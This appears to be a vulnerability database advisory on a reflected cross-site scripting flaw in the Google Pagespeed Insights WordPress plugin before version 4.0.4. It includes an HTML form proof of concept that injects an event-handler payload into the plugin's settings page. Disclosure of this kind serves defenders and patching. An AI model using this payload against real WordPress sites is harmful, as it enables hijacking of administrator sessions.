WordPress Plugin Vulnerabilities
Google Pagespeed Insights < 4.0.4 - Reflected Cross-Site Scripting
Description
The plugin does not sanitise and escape various parameters before outputting them back in attributes in the plugin's settings dashboard, leading to Reflected Cross-Site Scripting
Proof of Concept
<html>
<form action="https://example.com/wp-admin/tools.php?page=google-pagespeed-insights&render=options" method="POST">
<input type="text" name="page" value='" style=animation-name:rotation onanimationstart=alert(/XSS/) x'>
<input type="submit" value="Send">
</form>
</html>
Affects Plugins
Fixed in version 4.0.4
References
Classification
Miscellaneous
Original Researcher
Krzysztof Zając
Submitter
Krzysztof Zając
Submitter website
Verified
Yes
Timeline
Publicly Published
2022-03-08 (about 10 months ago)
Added
2022-03-08 (about 10 months ago)
Last Updated
2022-04-12 (about 9 months ago)